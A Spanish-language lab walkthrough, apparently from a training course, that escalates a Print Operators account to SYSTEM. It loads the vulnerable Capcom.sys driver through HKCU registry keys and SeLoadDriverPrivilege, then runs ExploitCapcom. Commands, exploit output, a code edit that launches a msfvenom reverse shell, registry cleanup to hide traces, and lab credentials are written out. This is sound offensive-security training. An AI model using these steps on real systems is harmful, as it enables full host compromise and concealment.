Print Operators
Los operadores de impresión son otro grupo con muchos privilegios, que otorga a sus miembros los derechos SeLoadDriverPrivilege
para administrar, crear, compartir y eliminar impresoras conectadas a un controlador de dominio, así como la capacidad de iniciar sesión localmente en un controlador de dominio y apagarlo. Si emitimos el comando whoami /priv
y no vemos el SeLoadDriverPrivilege
desde un contexto no elevado, necesitaremos omitir el UAC.
Explotación con interfaz gráfica
Confirmando privilegios
C:\htb> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================== ================================= =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeShutdownPrivilege Shut down the system Disabled
Comprobando nuevamente los privilegios
El repositorio de UACMe incluye una lista completa de omisiones de UAC, que se pueden utilizar desde la línea de comandos. Alternativamente, desde una GUI, podemos abrir un shell de comandos administrativos e ingresar las credenciales de la cuenta que es miembro del grupo Operadores de impresión. Si examinamos los privilegios nuevamente, SeLoadDriverPrivilege
está visible pero deshabilitado.
C:\htb> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================== ==========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Es bien sabido que el controlador Capcom.sys
contiene una funcionalidad que permite a cualquier usuario ejecutar código shell con privilegios de SYSTEM. Podemos usar nuestros privilegios para cargar este controlador vulnerable y escalar privilegios. Podemos usar esta herramienta para cargar el controlador. La PoC habilita el privilegio y también carga el controlador por nosotros.
Descárguelo localmente y edítelo, pegándolo sobre los archivos incluidos a continuación.
#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"
A continuación, desde el CMD para desarrolladores de Visual Studio 2019, compílelo usando cl.exe .
Compilar con cl.exe
C:\Users\mrb3n\Desktop\Print Operators> cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp
Microsoft (R) C/C++ Optimizing Compiler Version 19.28.29913 for x86
Copyright (C) Microsoft Corporation. All rights reserved.
EnableSeLoadDriverPrivilege.cpp
Microsoft (R) Incremental Linker Version 14.28.29913.0
Copyright (C) Microsoft Corporation. All rights reserved.
/out:EnableSeLoadDriverPrivilege.exe
EnableSeLoadDriverPrivilege.obj
Agregar referencia al controlador
A continuación, descargue el Capcom.sys
controlador desde aquí y guárdelo en C:\temp
. Ejecute los comandos siguientes para agregar una referencia a este controlador en nuestro árbol HKEY_CURRENT_USER.
C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
The operation completed successfully.
C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
The operation completed successfully.
La sintaxis extraña \??\
que se utiliza para hacer referencia a la ruta de imagen de nuestro controlador malicioso es una ruta de objeto NT . La API Win32 analizará y resolverá esta ruta para localizar y cargar correctamente nuestro controlador malicioso.
Verificar que el controlador no esté cargado
Usando DriverView.exe de Nirsoft , podemos verificar que el controlador Capcom.sys no esté cargado.
PS C:\htb> .\DriverView.exe /stext drivers.txt
PS C:\htb> cat drivers.txt | Select-String -pattern Capcom
Verificar que el privilegio esté habilitado
Ejecute el binario EnableSeLoadDriverPrivilege.exe
.
C:\htb> EnableSeLoadDriverPrivilege.exe
whoami:
INLANEFREIGHT0\printsvc
whoami /priv
SeMachineAccountPrivilege Disabled
SeLoadDriverPrivilege Enabled
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled by default
SeIncreaseWorkingSetPrivilege Disabled
NTSTATUS: 00000000, WinError: 0
Verificar que el controlador de Capcom esté en la lista
A continuación, verifique que el controlador de Capcom ahora aparezca en la lista.
PS C:\htb> .\DriverView.exe /stext drivers.txt
PS C:\htb> cat drivers.txt | Select-String -pattern Capcom
Driver Name : Capcom.sys
Filename : C:\Tools\Capcom.sys
ExploitCapcom para aumentar los privilegios
Para explotar el Capcom.sys, podemos utilizar la herramienta ExploitCapcom después de compilar con Visual Studio.
PS C:\htb> .\ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obained as 0000000000000070
[*] Shellcode was placed at 0000024822A50008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
Esto lanza un shell con privilegios de SYSTEM.
Explotación alternativa: sin interfaz gráfica de usuario
Si no tenemos acceso GUI al objetivo, tendremos que modificar el código de ExploitCapcom.cpp
antes de compilar. Aquí podemos editar la línea 292 y reemplazarla con "C:\\Windows\\system32\\cmd.exe"
, digamos, un binario de reverse shell creado con msfvenom
, por ejemplo: c:\ProgramData\revshell.exe
.
// Launches a command shell process
static bool LaunchShell()
{
TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
&ProcessInfo))
{
return false;
}
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return true;
}
La string CommandLine
en este ejemplo se cambiaría a:
TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");
Configuraríamos un receptor en función del payload que generamos con msfvenom
y, con suerte, recibiríamos una conexión de shell reversa al ejecutar ExploitCapcom.exe
. Si una conexión de shell reversa se bloquea por algún motivo, podemos intentar un payload de usuario de bind shell o exec/add.
Automatizar los pasos
Automatización con EopLoadDriver
Podemos utilizar una herramienta como EoPLoadDriver para automatizar el proceso de habilitar el privilegio, crear la clave de registro y ejecutar la carga NTLoadDriver
del controlador. Para ello, ejecutaríamos lo siguiente:
C:\htb> EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-454284637-3659702366-2958135535-1103\System\CurrentControlSet\Capcom
NTSTATUS: c000010e, WinError: 0
Luego correríamos ExploitCapcom.exe
para abrir un shell de SYSTEM o ejecutaríamos nuestro binario personalizado.
Limpieza
Eliminar clave de registro
Podemos cubrir un poco nuestras huellas eliminando la clave de registro agregada anteriormente.
C:\htb> reg delete HKCU\System\CurrentControlSet\Capcom
Permanently delete the registry key HKEY_CURRENT_USER\System\CurrentControlSet\Capcom (Yes/No)? Yes
The operation completed successfully.
Nota: Desde Windows 10 versión 1803, el "SeLoadDriverPrivilege
" no se puede explotar, ya que ya no es posible incluir referencias a claves de registro en "HKEY_CURRENT_USER".
Caso práctico
Objetivo: 10.129.43.31 (ACADEMY-WINLPE-SRV01)
RDP con el usuario "printsvc" y la contraseña "HTB_@cademy_stdnt!"
Siga los pasos de esta sección para escalar privilegios a SYSTEM y enviar el contenido del archivo flag.txt del escritorio del administrador. Las herramientas necesarias para ambos métodos se pueden encontrar en el directorio
C:\Tools
, o puede practicar compilándolas y cargándolas por su cuenta.
Herramientas
PS C:\tools> ls
Directory: C:\tools
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/24/2021 3:11 PM ExploitCapcom
-a---- 5/24/2021 3:12 PM 10576 Capcom.sys
-a---- 5/24/2021 3:11 PM 44920 DriverView.exe
-a---- 5/24/2021 3:11 PM 119808 EnableSeLoadDriverPrivilege.exe
-a---- 5/24/2021 5:25 PM 15360 EoPLoadDriver.exe
Comprobar privilegios del usuario
Abrimos una Powershell como administrador. Necesitamos introducir las credenciales del usuario printsvc:
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Tenemos el SeLoadPrivilege
deshabilitado por lo que tenemos que habilitarlo.
Agregar referencia al controlador
C:\Tools> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
Value ImagePath exists, overwrite(Yes/No)? Yes
The operation completed successfully.
Habilitar SeLoadPrivilege
C:\Tools>EnableSeLoadDriverPrivilege.exe
whoami:
INLANEFREIGHT0\printsvc
whoami /priv
SeMachineAccountPrivilege Disabled
SeLoadDriverPrivilege Enabled
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled by default
SeIncreaseWorkingSetPrivilege Disabled
NTSTATUS: c000010e, WinError: 0
Verificar que el controlador Capcom está en la lista
PS C:\tools> .\DriverView.exe /stext drivers.txt
PS C:\tools> cat drivers.txt | Select-String -pattern Capcom
Driver Name : Capcom.sys
Filename : c:\Tools\Capcom.sys
Exploit Capcom para aumentar los privilegios
PS C:\tools\ExploitCapcom> .\ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000070
[*] Shellcode was placed at 00000277C9D50008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program
Somos SYSTEM!
Acceso a la flag
Última actualización
¿Te fue útil?